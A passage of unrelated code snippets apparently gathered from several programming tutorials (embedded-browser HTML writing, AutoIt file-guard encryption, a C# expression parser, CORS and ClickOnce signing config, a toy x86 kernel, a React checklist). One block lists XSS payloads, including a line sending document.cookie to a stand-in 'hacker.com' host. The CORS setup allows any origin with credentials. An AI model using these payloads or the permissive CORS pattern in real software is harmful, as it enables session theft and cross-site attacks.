            else
            {
                return "green";
            }
        }
    }
}</pre>


<pre lang="C++">
void WriteHTML(const wchar_t* html)
{
   IDispatch* pHtmlDoc = m_Browser.get_Document();
   if (!pHtmlDoc)
       return;
   CComPtr&lt;IHTMLDocument2&gt; doc1 = NULL;
   doc1.Detach();
   doc1.Attach((IHTMLDocument2*)pHtmlDoc);
   if (!doc1)
       return;

   // Creates a new one-dimensional array
   SAFEARRAY* psaStrings = SafeArrayCreateVector(VT_VARIANT, 0, 1);
   if (!psaStrings)
       return;

   BSTR bstr = SysAllocString(html);
   if (bstr)
   {
       VARIANT* param;
       HRESULT hr = SafeArrayAccessData(psaStrings, (LPVOID*)&amp;param);
       if (SUCCEEDED(hr))
       {
           param-&gt;vt = VT_BSTR;
           param-&gt;bstrVal = bstr;
           hr = SafeArrayUnaccessData(psaStrings);
           if (SUCCEEDED(hr))
           {
               doc1-&gt;write(psaStrings);
               doc1-&gt;close();
           }
       }
   }

   // SafeArrayDestroy calls SysFreeString for each BSTR!
   if (psaStrings)
       SafeArrayDestroy(psaStrings);
 }</pre>


<pre lang="C++">
        CoInitialize(NULL);
        m_Browser.put_Silent(TRUE);
        CString HTML_TEXT;
        CRect rect;
        CWnd *pWnd = GetDlgItem(IDC_SGWEBBROWSER);
        pWnd-&gt;GetWindowRect(&amp;rect);
        int w = rect.Width()-50, h = rect.Height()-50;

        HTML_TEXT.Format(L"&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;meta http-equiv=\"IE X-UA-Compatible\" content=\"IE = edge\"&gt;&lt;body&gt;&lt;div id =\"googleMap\" style=\"width:%dpx;height:%dpx\"&gt;&lt;script&gt;function myMap(){var mapProp = {center:new google.maps.LatLng(%f, %f), zoom : 10};var map = new google.maps.Map(document.getElementById(\"googleMap\"), mapProp);marker = new google.maps.Marker({position: new google.maps.LatLng(%f, %f),map: map});}&lt;/script&gt;&lt;script src = \"https://maps.googleapis.com/maps/api/js?key=%s&amp;callback=myMap\"&gt;&lt;/script&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;", w, h, Latitude, Longitude, Latitude, Longitude, API_KEY);

        FILE *fp = _wfopen(FileName, L"w");
        fwprintf(fp, L"%s", HTML_TEXT.GetBuffer());
        fclose(fp);
        m_Browser.Navigate(FileName, 0, 0, 0, 0);
</pre>


<pre lang="VB.NET">
#include &lt;APIShellExConstants.au3&gt;
#include &lt;WinAPI.au3&gt;
#include &lt;WinAPIShellEx.au3&gt;
#include &lt;GUIConstantsEx.au3&gt;
Opt('TrayAutoPause', 0)
OnAutoItExitRegister('Deregister')
Global $hWnd = GUICreate("Try change on folders", 400, 300)
GUISetState(@SW_SHOW, $hWnd)
Global $ID1 = Guard("D:\Condor", 1)
Global $ID2 = Guard("C:\www", 2)
While 1
	If GUIGetMsg() = $GUI_EVENT_CLOSE Then ExitLoop
WEnd
Func Guard($path, $indx)
	$Message = 'CHANGENOTIFY' &amp; $indx
	Local $iMsg = _WinAPI_RegisterWindowMessage($Message)
	GUIRegisterMsg($iMsg, 'WM_CHANGENOTIFY') ; the message is associated to function WM_CHANGENOTIFY
	;	local $g_iID = _WinAPI_ShellChangeNotifyRegister_
        ($hWnd,$iMsg,  $SHCNE_ALLEVENTS, BitOR($SHCNRF_INTERRUPTLEVEL, $SHCNRF_SHELLLEVEL, _
         $SHCNRF_RECURSIVEINTERRUPT), $Path, true)
	Local $g_iID = _WinAPI_ShellChangeNotifyRegister($hWnd, $iMsg, $SHCNE_UPDATEITEM, _
         BitOR($SHCNRF_INTERRUPTLEVEL, $SHCNRF_SHELLLEVEL, $SHCNRF_RECURSIVEINTERRUPT), $path)
	If @error Then
		MsgBox(BitOR($MB_ICONERROR, $MB_SYSTEMMODAL), 'Error', 'Window does not registered.')
		Exit
	EndIf
	Return $g_iID
EndFunc   ;==&gt;Guard
Func WM_CHANGENOTIFY($hWnd, $iMsg, $wParam, $lParam)
	#forceref $hWnd, $iMsg
	Local $sPath = _WinAPI_ShellGetPathFromIDList(DllStructGetData(DllStructCreate
                   ('dword Item1; dword Item2', $wParam), 'Item1'))
	If $SHCNE_UPDATEITEM = $lParam Then ConsoleWrite($sPath &amp; " writed" &amp; @CRLF)
EndFunc   ;==&gt;WM_CHANGENOTIFY
Func Deregister()
	ConsoleWrite("Deregister" &amp; @CRLF)
	If $ID1 Then _WinAPI_ShellChangeNotifyDeregister($ID2)
	If $ID2 Then _WinAPI_ShellChangeNotifyDeregister($ID2)
EndFunc   ;==&gt;Deregister</pre>


<pre lang="VB.NET">
Func genGuard($data)
	Local $sDrive = "", $sDir = "", $sExtension = "", $Path = "", $file = ""
	$psw = $data.item("Password")
	$fileToGuard = $data.item("File")
	Local $aPathSplit = _PathSplit($fileToGuard, $sDrive, $Path, $File, $sExtension)
	$destFolder = $data.item("Folder")
	if StringRight($destFolder,1) &lt;&gt; "\" then $destFolder = $destFolder &amp; "\"
	$Path = $sDrive &amp; $Path
	Local $dataFile[] = [$Path,$destFolder,$psw, 0,$File &amp; $sExtension]
	if $data.item("runProgram") = "1" Then ShellExecute($data.item("File"),@SW_MAXIMIZE)
	if isNewFolder($Path) Then
		Local $iMsg = _WinAPI_RegisterWindowMessage('UPDATENOTIFY' &amp; $fileDict.count)
		GUIRegisterMsg($iMsg, 'WM_UPDATENOTIFY')	; the message is associated to _
                                function WM_UPDATENOTIFY
		$dataFile[3] =  _WinAPI_ShellChangeNotifyRegister($data.item("fg_winhandle"), _
						$iMsg, _
						$SHCNE_UPDATEITEM, _	; guard update file system
						BitOR($SHCNRF_INTERRUPTLEVEL, $SHCNRF_SHELLLEVEL, $SHCNRF_RECURSIVEINTERRUPT), _
						$Path)
		If @error Then
			MsgBox(BitOR($MB_ICONERROR, $MB_SYSTEMMODAL),'Error','Window does not registered.')
			Exit
		EndIf
	EndIf
	ConsoleWrite("Folder " &amp; $path &amp; " guarded" &amp; @CRLF)
	$fileDict.Item($fileToGuard) = $dataFile
EndFunc</pre>


<pre lang="VB.NET">
Func WM_UPDATENOTIFY($hWnd, $iMsg, $wParam, $lParam)
	#forceref $hWnd, $iMsg
	Local $sPath = _WinAPI_ShellGetPathFromIDList(DllStructGetData_
                   (DllStructCreate('dword Item1; dword Item2', $wParam), 'Item1'))
	If $sPath Then
		if $fileDict.Exists($sPath) Then		; a file has been updated
			Local $dataFile = $fileDict.Item($sPath)
			If $dataFile[2] = "" Then		; there is a password?
				FileCopy($sPath,$dataFile[1], $FC_OVERWRITE + $FC_CREATEPATH)
			Else
				_Crypt_EncryptFile($sPath, $dataFile[1] &amp; $dataFile[4], _
                              $dataFile[2],$CALG_AES_192)	; Encrypt the file.
				If @error &lt;&gt; 0 Then
					consoleWrite("Error when encrypting: " &amp; @error &amp; @CRLF)
				EndIf
			EndIf
			consoleWrite($sPath &amp; " saved")
			if $dataFile[2] &lt;&gt; "" Then ConsoleWrite(" and encrypted")
			ConsoleWrite(@CRLF)
		EndIf
	EndIf
EndFunc   ;==&gt;WM_UPDATENOTIFY</pre>


<pre lang="VB.NET">
...
	&amp; "BL,Restore,Restore,,,Restore the file,Restore;" _
	&amp; "Menu,File,&amp;File;" _
	&amp; "SubMenu,Showguard,&amp;Show guarded,Showguard;" _
...
Func showGuard()
	$aDict = getIniFormat($fileDict)
	Local $iOrgWidth = 500, $iHeight = 300
	Local $hGUI = GUICreate("Files on guard", $iOrgWidth, $iHeight)
	Local $aiGUISize = WinGetClientSize($hGUI)
	Local $idListview = GUICtrlCreateListView(StringFormat_
           ("File   %40s |Folder %40s |Encript key","",""), 10, 10, 480, 240)
	For $i=1 to $aDict[0][0]
		$a = $aDict[$i][1]
		Local $idItem = GUICtrlCreateListViewItem_
           ($aDict[$i][0] &amp; "|" &amp; $a[1] &amp; "|"  &amp; $a[2],$idListview)
	Next
	GUISetState(@SW_SHOW, $hGUI)
    While 1
        Switch GUIGetMsg()
            Case $GUI_EVENT_CLOSE
                ExitLoop
        EndSwitch
    WEnd
	GUIDelete()
EndFunc
Func Restore($data)
	$psw = $data.item("PasswordR")
	$fileToRestore = $data.item("FileR")
	Local $sDrive = "", $sDir = "", $sExtension = "", $Pth = "", $file
	Local $aPathSplit = _PathSplit($fileToRestore, $sDrive, $Pth, $File, $sExtension)
	$File = $File &amp; $sExtension
	$destFile = $data.item("FolderR")
	if StringRight($destFile,1) &lt;&gt; "\" then $destFile = $destFile &amp; "\"
	$destFile = $destFile &amp; $File
	if $psw = "" Then
		FileCopy($fileToRestore,$destFile, $FC_OVERWRITE + $FC_CREATEPATH)
	Else
		_Crypt_DecryptFile($fileToRestore, $destFile, $psw,$CALG_AES_192)	; Decrypt the file.
	EndIf
	msgbox(0,"Restore",$fileToRestore,1.5)
	ConsoleWrite("Restored file " &amp; $fileToRestore &amp; " from " &amp; $Pth &amp; @CRLF)
EndFunc</pre>


<pre lang="C#">
 class Parser
{
   // Constructor
   public Parser()
   {
      m_keymap = new KeyMap();
      m_varmap = new VarMap();
      m_varmap.LoadVarMap(@"varmap.dat");
      m_keymap.DumpKeyWords();
      m_varmap.Dump();
   }

   // Fields
   const String EOE = "\0";
   private String exp; // refers to expression string
   private int expIdx; // current index into the expression
   private String token; // holds current token
   private int tokType; // holds token's type

   // These are the token types.
   const int NONE = 0;
   const int DELIMITER = 1;
   const int VARIABLE = 2;
   const int NUMBER = 3;

   // These are the types of syntax errors.
   const int SYNTAX = 0;
   const int UNBALPARENS = 1;
   const int NOEXP = 2;
   const int DIVBYZERO = 3;

   // These are the keywords
   private KeyMap m_keymap;

   // These are the currently mapped variables
   private VarMap m_varmap;

   // Methods
   // Parser entry point.
   public double Evaluate(String expstr)
   {
      double result = 0.0;
      exp = expstr;
      expIdx = 0;
      getToken();
      if (token.Equals(EOE))
      handleErr(NOEXP); // no expression present
      // Parse and evaluate the expression.
      result = EvalExp1();
      return result;
      if (!token.Equals(EOE)) // last token must be EOE
      handleErr(SYNTAX);
      return result;
   }
   // cycle through the parser methods 
}</pre>


<pre lang="C#">
class VarMap
{
   // Fields
   private static Dictionary&lt;String, Double&gt; m_varmap;
   private static int m_ncount;

   // Constructors
   public VarMap()
   {
      m_varmap = new Dictionary&lt;String, Double&gt;();
      m_ncount = 0;
   }
...
   public int AddVariable(String skey, Double dval)
   {
      if (m_varmap.ContainsKey(skey)) { UpdateVariable(skey, dval); return 1; }
      m_varmap.Add(skey, dval);
      return 1;
   }
...
    public int UpdateVariable(String skey, Double dval)
   {  
      m_varmap.Remove(skey);
      m_varmap.Add(skey, dval);
      return 1;
   }
...

   protected static Dictionary&lt;String, Double&gt; LoadDic(string sDicPath)
   {
      Dictionary&lt;String, Double&gt; theDic = new Dictionary&lt;String, Double&gt;();
      int nCount = 0;
      string svar = string.Empty;
      double dval = -1.0;
      using (BinaryReader rd = new BinaryReader(File.OpenRead(sDicPath)))
      {
         nCount = rd.ReadInt32();

         for (int n = 0; n &lt; nCount; n++)
         {
            svar = rd.ReadString(); 
            dval = rd.ReadDouble(); 
            theDic.Add(svar, dval);
         }
   }
   return theDic;

}// LoadDic
...

    protected static int SaveDic(Dictionary&lt;String, Double&gt; theDic, string filePath)
   {
      using (BinaryWriter b = new BinaryWriter(File.Open(filePath, FileMode.Create)))
      {
         b.Write(theDic.Count);

         foreach (var s in theDic)
         {
            b.Write(s.Key);
            b.Write(s.Value);
         }
      }
      return 1;
   }// SaveDic</pre>


<pre lang="C#">
static void Main(string[] args)
{
   Parser parser = new Parser();

   double dval = -1.0;
   string expr = string.Empty;

   Console.WriteLine("\n\t\tEnhanced Recursive Descent Parser in C#");
   Console.Title = "Enhanced Recursive Descent Parser in C#";

   for (; ;)
   {
      Console.WriteLine();
      Console.Write(" &lt;&lt; ");
      expr = Console.ReadLine();
      if (expr.ToLower() == "quit") break;
      if (expr.ToLower() == "cls") { Console.Clear(); Console.WriteLine
               ("\n\t\tEnhanced Recursive Descent Parser in C#"); continue; }
      if (expr.ToLower() == "list vars" || expr.ToLower() == "listvars") 
               { parser.ListVars(); continue; }
      if (expr.ToLower() == "list keys" || expr.ToLower() == "listkeys") 
               { parser.ListKeywords(); continue; }
      if (expr.ToLower() == "del var")
      {
         Console.Write(" Variable Name : ");
         expr = Console.ReadLine();
         parser.DeleteVariable(expr);
         continue;
      }
      if (expr.ToLower() == "help") { GetHelp(); continue; }

      dval = parser.Evaluate(expr);
      Console.WriteLine("\nresult =: " + dval);
}</pre>


<pre lang="JavaScript">
{
  "iisSettings": {
    "windowsAuthentication": false,
    "anonymousAuthentication": true,
    "iisExpress": {
      "applicationUrl": "http://localhost:5000/",
      "sslPort": 0
    }
  },
  "profiles": {
    "IIS Express": {
      "commandName": "IISExpress",
      "launchBrowser": false,
      "environmentVariables": {
        "ASPNETCORE_ENVIRONMENT": "Development"
      }
    },
    "AccountOwner_Server": {
      "commandName": "Project",
      "launchBrowser": false,
      "environmentVariables": {
        "ASPNETCORE_ENVIRONMENT": "Development"
      },
      "applicationUrl": "http://localhost:5000/"
    }
  }
}</pre>


<pre lang="C#">
public static void ConfigureCors(this IServiceCollection services)
{
      services.AddCors(options =&gt;
      {
          options.AddPolicy("CorsPolicy",
              builder =&gt; builder.AllowAnyOrigin()
              .AllowAnyMethod()
              .AllowAnyHeader()
              .AllowCredentials());
      });
}</pre>


<pre lang="C#">
public void ConfigureServices(IServiceCollection services)
{
      services.ConfigureCors();

      services.ConfigureIISIntegration();

      services.AddMvc();
}            

public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
    if (env.IsDevelopment())
    {
        app.UseDeveloperExceptionPage();
    }

    app.UseCors("CorsPolicy");

    app.UseForwardedHeaders(new ForwardedHeadersOptions
    {
        ForwardedHeaders = ForwardedHeaders.All
    });

    app.Use(async (context, next) =&gt;
    {
        await next();

        if (context.Response.StatusCode == 404
            &amp;&amp; !Path.HasExtension(context.Request.Path.Value))
        {
            context.Request.Path = "/index.html";
            await next();
        }
    });

    app.UseStaticFiles();

    app.UseMvc();
}</pre>


<pre lang="XML">
  &lt;Target Name="AfterCompile" Condition=" 
  '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "&gt;

    &lt;Exec Command="&amp;quot;C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe&amp;quot; 
    sign /n &amp;quot;InsertNameHere&amp;quot; /t http://yourtimestampuri /fd sha1 
    /v &amp;quot;$(ProjectDir)obj\$(ConfigurationName)\$(TargetFileName)&amp;quot;" /&gt;

  &lt;/Target&gt;</pre>


<pre lang="XML">
&lt;Exec Command="&amp;quot;C:\Program Files 
(x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6.2 Tools\mage.exe&amp;quot; 
-Sign &amp;quot;$(_DeploymentApplicationDir)$(_DeploymentTargetApplicationManifestFileName)&amp;quot; 
-CertHash INSERTVALIDHASHHERE -TimeStampUri http://yourtimestampuri" /&gt;</pre>


<pre lang="XML">
&lt;Exec Command="&amp;quot;C:\Program Files 
(x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6.2 Tools\mage.exe&amp;quot; 
-Update &amp;quot;$(PublishDir)$(TargetDeployManifestFileName)&amp;quot; 
-AppManifest &amp;quot;$(_DeploymentApplicationDir)$(_DeploymentTargetApplicationManifestFileName)&amp;quot;" /&gt;</pre>


<pre lang="XML">
&lt;Exec Command="&amp;quot;C:\Program Files 
(x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6.2 Tools\mage.exe&amp;quot; 
-Sign &amp;quot;$(PublishDir)$(TargetDeployManifestFileName)&amp;quot; 
-CertHash INSERTVALIDHASHHERE -TimeStampUri http://yourtimestampuri" /&gt;</pre>


<pre lang="XML">
  &lt;Target Name="AfterCompile" Condition=" 
'$(Configuration)|$(Platform)' == 'Release|AnyCPU' "&gt;
    &lt;Exec Command="&amp;quot;C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe&amp;quot; 
     sign /n &amp;quot;InsertNameHere&amp;quot; /t http://yourtimestampuri /fd sha1 
     /v &amp;quot;$(ProjectDir)obj\$(ConfigurationName)\$(TargetFileName)&amp;quot;" /&gt;
  &lt;/Target&gt;

  &lt;Target Name="SignManifest" AfterTargets="_DeploymentSignClickOnceDeployment" 
   Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "&gt;
    &lt;Exec Command="&amp;quot;C:\Program Files 
    (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6.2 Tools\mage.exe&amp;quot; 
    -Sign &amp;quot;$(_DeploymentApplicationDir)$(_DeploymentTargetApplicationManifestFileName)&amp;quot; 
    -CertHash INSERTVALIDHASHHERE -TimeStampUri http://yourtimestampuri" /&gt;
    &lt;Exec Command="&amp;quot;C:\Program Files 
    (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6.2 Tools\mage.exe&amp;quot; 
    -Update &amp;quot;$(PublishDir)$(TargetDeployManifestFileName)&amp;quot; 
    -AppManifest &amp;quot;$(_DeploymentApplicationDir)$
    (_DeploymentTargetApplicationManifestFileName)&amp;quot;" /&gt;
    &lt;Exec Command="&amp;quot;C:\Program Files 
    (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6.2 Tools\mage.exe&amp;quot; 
    -Sign &amp;quot;$(PublishDir)$(TargetDeployManifestFileName)&amp;quot; 
    -CertHash INSERTVALIDHASHHERE -TimeStampUri http://yourtimestampuri" /&gt;
    &lt;Exec Command="&amp;quot;C:\Program Files 
     (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe&amp;quot; 
     sign /n &amp;quot;CertificateName&amp;quot; /t http://yourtimestampuri /fd sha1 
     /v &amp;quot;$(PublishDir)\setup.exe&amp;quot;" /&gt;
  &lt;/Target&gt;</pre>


<pre lang="C#">
private SelfEvaluatingActionCommand increaseCounter;

public ICommand IncreaseCounter
{
    get
    {
        if (increaseCounter == null)
        {
            increaseCounter = new SelfEvaluatingActionCommand(OnIncreaseCounter, CanIncreaseCounter)
                .AddPropertyTrigger(() =&gt; CounterMax)
                .AddPropertyTrigger(() =&gt; Counter);
        }

        return increaseCounter;
    }
}</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;configuration&gt;
    &lt;startup&gt; 
        &lt;supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" /&gt;
    &lt;/startup&gt;

  &lt;appSettings&gt;
    &lt;add key="FilterDate" value="01/01/2018"/&gt;
  &lt;/appSettings&gt;

&lt;/configuration&gt;</pre>


<pre lang="C#">
using MoralesLarios.Development.Configuration;
using System;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            DateTime filterDate = Config.ConfigNodes.FilterDate;
        }
    }
}</pre>


<pre lang="Python">
# set magic number to 0x1BADB002 to identified by bootloader 
.set MAGIC,    0x1BADB002

# set flags to 0
.set FLAGS,    0

# set the checksum
.set CHECKSUM, -(MAGIC + FLAGS)

# set multiboot enabled
.section .multiboot

# define type to long for each data defined as above
.long MAGIC
.long FLAGS
.long CHECKSUM


# set the stack bottom 
stackBottom:

# define the maximum size of stack to 512 bytes
.skip 512


# set the stack top which grows from higher to lower
stackTop:

.section .text
.global _start
.type _start, @function


_start:

  # assign current stack pointer location to stackTop
	mov $stackTop, %esp

  # call the kernel main source
	call KERNEL_MAIN

	cli


# put system in infinite loop
hltLoop:

	hlt
	jmp hltLoop

.size _start, . - _start

</pre>


<pre lang="C++">
/* entry point of our kernel */
ENTRY(_start)

SECTIONS
{
	/* we need 1MB of space atleast */
	. = 1M;

	/* text section */
	.text BLOCK(4K) : ALIGN(4K)
	{
		*(.multiboot)
		*(.text)
	}

	/* read only data section */
	.rodata BLOCK(4K) : ALIGN(4K)
	{
		*(.rodata)
	}

	/* data section */
	.data BLOCK(4K) : ALIGN(4K)
	{
		*(.data)
	}

	/* bss section */
	.bss BLOCK(4K) : ALIGN(4K)
	{
		*(COMMON)
		*(.bss)
	}

}

</pre>


<pre lang="C++">
#include"kernel.h"

static UINT16 VGA_DefaultEntry(unsigned char to_print) {
	return (UINT16) to_print | (UINT16)WHITE_COLOR &lt;&lt; 8;
}

void KERNEL_MAIN()
{
  TERMINAL_BUFFER = (UINT16*) VGA_ADDRESS;

  TERMINAL_BUFFER[0] = VGA_DefaultEntry('H');
  TERMINAL_BUFFER[1] = VGA_DefaultEntry('e');
  TERMINAL_BUFFER[2] = VGA_DefaultEntry('l');
  TERMINAL_BUFFER[3] = VGA_DefaultEntry('l');
  TERMINAL_BUFFER[4] = VGA_DefaultEntry('o');
  TERMINAL_BUFFER[5] = VGA_DefaultEntry(' ');
  TERMINAL_BUFFER[6] = VGA_DefaultEntry('W');
  TERMINAL_BUFFER[7] = VGA_DefaultEntry('o');
  TERMINAL_BUFFER[8] = VGA_DefaultEntry('r');
  TERMINAL_BUFFER[9] = VGA_DefaultEntry('l');
  TERMINAL_BUFFER[10] = VGA_DefaultEntry('d');
}
</pre>


<pre lang="Python">
#assemble boot.s file
as boot.s -o boot.o

#compile kernel.c file
gcc -c kernel.c -o kernel.o -std=gnu99 -ffreestanding -O2 -Wall -Wextra

#linking the kernel with kernel.o and boot.o files
gcc -T linker.ld -o MyOS.bin -ffreestanding -O2 -nostdlib kernel.o boot.o -lgcc

#check MyOS.bin file is x86 multiboot file or not
grub-file --is-x86-multiboot MyOS.bin

#building the iso file
mkdir -p isodir/boot/grub
cp MyOS.bin isodir/boot/MyOS.bin
cp grub.cfg isodir/boot/grub/grub.cfg
grub-mkrescue -o MyOS.iso isodir

#run it in qemu
qemu-system-x86_64 -cdrom MyOS.iso
</pre>


<pre lang="C++">
#ifndef _KERNEL_H_
#define _KERNEL_H_

#define VGA_ADDRESS 0xB8000

#define WHITE_COLOR 15

typedef unsigned short UINT16;

int DIGIT_ASCII_CODES[10] = {0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39};

unsigned int VGA_INDEX;

#define BUFSIZE 2200

UINT16* TERMINAL_BUFFER;

#endif

</pre>


<pre lang="C++">
int digitCount(int num)
{
  int count = 0;
  if(num == 0)
    return 1;
  while(num &gt; 0){
    count++;
    num = num/10;
  }
  return count;
}

void itoa(int num, char *number)
{
  int digit_count = digitCount(num);
  int index = digit_count - 1;
  char x;
  if(num == 0 &amp;&amp; digit_count == 1){
    number[0] = '0';
    number[1] = '\0';
  }else{
    while(num != 0){
      x = num % 10;
      number[index] = x + '0';
      index--;
      num = num / 10;
    }
    number[digit_count] = '\0';
  }
}

void printInt(int num)
{
  char str_num[digitCount(num)+1];
  itoa(num, str_num);
  printString(str_num);
}

</pre>


<pre lang="HTML">
 &lt;body onload=alert ('attack')&gt;  (or any other event)
 &lt;img src="javascript:alert('attack')"&gt;
 &lt;META HTTP-EQUIV='refresh' CONTENT='0;url=data:tex/html;'&gt;

 &lt;script&gt;alert('attack') &lt; /script&gt;

&lt;img src="javascript:alert('XSS');"&gt;
–&lt;a href="javascript: alert('XSS');"&gt;Click here to win&lt;/A&gt;

&lt;input type="button" value="submit"
onclick="parent.location.reload ('http://hacker.com? c'=encodeURI(document.cookie));"&gt;</pre>


<pre lang="React">
    public render() 
{
	const loading = 
		this.state.loading ? 
		&lt;Spinner label={this.props.strings.loading} /&gt; : 
		&lt;div /&gt;;
	/*
	This React component's state  has a boolean 
	attribute name "loading" which is set true 
	for the duration of items (List columns) being fetched. 
	The constant "loading" in this method is accordingly set to 
	spinner (Microsoft UI Fabric React component) or an empty div.
	*/

	const error = 
		this.state.error != null ? 
		&lt;div 
		 className="ms-TextField-errorMessage ms-u-slideDownIn20"&gt;
		 { 
		  Text.format(
			this.props.strings.errorFormat, 
			this.state.error
			) 
		 }
		 &lt;/div&gt; : 
		&lt;div /&gt;;
		/*
		This React component's state  has a string attribute 
		name "error" which is set to the error message, if an 
		exception is raised when list columns are asynchronudly 
		fetched; otherwise state.error is kept null. 
		The constant "error" in this method is accordingly used 
		to display the error message formatted as per the 
		strings.errorformat property of the react component 
		or it is set to an empty div if there is no error.
		*/

	const checklistItems = this.state.items.map((item, index) =&gt; {
		return (
			&lt;Checkbox 
			 id={ item.id }
			 label={ item.label }
			 defaultChecked={ this.isCheckboxChecked(item.id) }
			 disabled={ this.props.disable }
			 onChange={ this.onCheckboxChange.bind(this) }
			 inputProps={ { value: item.id } }
			 className={ styles.checklistItem }
			 key={ index } /&gt;
		);
	});
	/*
	Items(List columns) are set in react component's state as an 
	array (of type IChecklistItem, to be discussed later) 
	attribute upon being successfully fetched. Here those state 
	attributes are being mapped (JavaScript map function) into 
	an array of type Checkbox (Microsoft UI Fabric React component). 
	Label of the checkbox here is set to IChecklistItem.label and 
	value is set to IChecklistItem.id. Two other attributes 
	to be taken note of here are "defaultChecked" and "onChange" .
	*/

	return (
		&lt;div className={ styles.checklist }&gt;

			&lt;Label&gt;{ this.props.strings.label }&lt;/Label&gt;

			{ loading }

			{!this.state.loading &amp;&amp; 
			 &lt;div className={ styles.checklistItems }&gt;
				&lt;div 
				 className={ styles.checklistPadding }&gt;
			      { checklistItems }
				&lt;/div&gt;
			 &lt;/div&gt;
			}

			{ error }
		&lt;/div&gt;
	);
	/*
	html return value of render method is what would be rendered 
	in the browser (property pane).
	We return a div here with label of the custom control which 
	was passed to the react component as one of its properties 
	namely strings.label. 
	Constant loading which was either set to spinner or an
	empty div earlier in the method is included next. 
	If boolean loading in the component's state was false 
	(i.e. items are not being asynchronously fetched at the moment, 
	they are either here or some error has occurred),
	then include all the Checkbox elements from constant 
	checklistItems defined earlier in the method.
	In the constant error which was either set to the formatted
	error message or an empty div, is included.
	*/
}</pre>


<pre lang="TypeScript">
/*****************************************************************
 * When a checkbox changes within the checklist
 * @param ev : 	The React.FormEvent object which contains the 
 *				element that has changed
 * @param checked : Whether the checkbox is not checked or not
 *****************************************************************/
private onCheckboxChange(ev?: React.FormEvent&lt;HTMLInputElement&gt;, 
						checked?: boolean) 
{
	let checkboxKey = 
		ev.currentTarget.attributes.getNamedItem('value').value;
	/*
	In render method, we set the value attribute on each Checkbox
	to be IChecklistItem.id. Here we retrieve that id.
	*/

	let itemIndex = this.checkedItems.indexOf(checkboxKey);
	/*
	checkedItems is a string array defined in this class.
	This array holds the ids of all the checked Checkboxes,
	i.e., selected columns. Here, we check if the box was already
	selected.
	*/

	if(checked) // Checkbox is now checked.
	{
		if(itemIndex == -1) // It was not previously checked.
		{
			this.checkedItems.push(checkboxKey);
			// Insert the id of newly checked Checkbox.
		}
	}
	else // Checkbox is now unchecked.
	{
		if(itemIndex &gt;= 0) // It was previously checked.  
		{
			this.checkedItems.splice(itemIndex, 1);
			// Remove the id of newly unchecked Checkbox.
		}
	}

	if(this.props.onChange) 
	{
		this.props.onChange(this.checkedItems);
		// Call the Change handler of the component itself.
	}
}</pre>


<pre lang="TypeScript">
/******************************************************************
 * Returns whether the checkbox with the specified ID should be 
 * checked or not
 * @param checkboxId 
 *******************************************************************/
private isCheckboxChecked(checkboxId: string) 
{
	return 
	(
		this.checkedItems.filter
		(
			(checkedItem) =&gt; 
			{
				return 
				checkedItem.toLowerCase().trim() == 
				checkboxId.toLowerCase().trim(); 
			}
		).length &gt; 0
	);
	/*
	checkedItems is an string array defined in this class.
	This array holds the ids of all the checked Checkboxes,
	i.e. selected columns. Here we filter the array based on the
	condition if the current id exists in the array. Filtered array
	would either have a single element or none at all, i.e. length
	would either be 0 or 1. If it is 1, we return true i.e. Checkbox
	is already checked &amp; should also be rendered so.
	*/
}</pre>


<pre lang="TypeScript">
/**************************************************************
 * Called once after initial rendering
 **************************************************************/
public componentDidMount(): void 
{
	this.loadItems(); 
	/*After initial rendering call the locally defined loadItems
	method to asynchronously load the list column information.
	*/
}

/**************************************************************
 * Called immediately after updating occurs
 **************************************************************/
public componentDidUpdate(prevProps: IAsyncChecklistProps, 
						prevState: {}): void 
{
	if (this.props.disable !== prevProps.disable || 
		this.props.stateKey !== prevProps.stateKey) 
	{
		/*If item was previously disabled and now enabled or 
		property pane was closed before and now being reopened.
		Everytime user reopens the property pane, stateKey property
		get assigned with the current date time value and condition
		forces our component to load the items again. This is the sole
		purpose of stateKey property.
		*/
		this.loadItems();
	}
}</pre>


<pre lang="TypeScript">
/*********************************************************
 * Loads the checklist items asynchronously
 *********************************************************/
private loadItems() 
{
	let _this_ = this;

	_this_.checkedItems = this.getDefaultCheckedItems();

	this.setState({
		loading: true,
		items: new Array&lt;IChecklistItem&gt;(),
		error: null
	});
	/*
	Set the state to loading so we can render the spinner component.
	Initialize the items array to hold the fetched items.
	Set error to null.
	*/

	this.props.loadItems() // Call loadItems methods set externally.
	.then
	( // Once external method returns without error.
		(items: IChecklistItem[]) =&gt;  
		{ // external method will give you array of IChecklistItem
			_this_.setState
			(
				(
				prevState: IAsyncChecklistState, 
				props: IAsyncChecklistProps
				): IAsyncChecklistState =&gt; 
				{
					prevState.loading = false; 
					// hide the spinner now.
					
					prevState.items = items; 
					// set state with fetched items
					
					return prevState;
				}
			);
		}
	)
	.catch((error: any) =&gt; 
		{ // error happened.
			_this_.setState
			(
				(
				prevState: IAsyncChecklistState, 
				props: IAsyncChecklistProps
				): IAsyncChecklistState =&gt; 
				{
					prevState.loading = false; 
					// hide the spinner.
					
					prevState.error = error; 
					// set state with error
					
					return prevState;
				}
			);
		}
	);
}</pre>


<pre lang="TypeScript">
export interface IAsyncChecklistProps 
{
	/*This interface serves as the react component properties which gets
	passed to the component.
	*/
    loadItems: () =&gt; Promise&lt;IChecklistItem[]&gt;;
	/*
	This is that external (callback) function which gets passed to the
	react component. It expects no arguments and returns a Promise
	object of IChecklistItem[] . 
	*/
	
    onChange?: (checkedKeys:string[]) =&gt; void;
	/*
	This is also a callback function which gets passed to 
	the react component. It expects an string[] and returns 
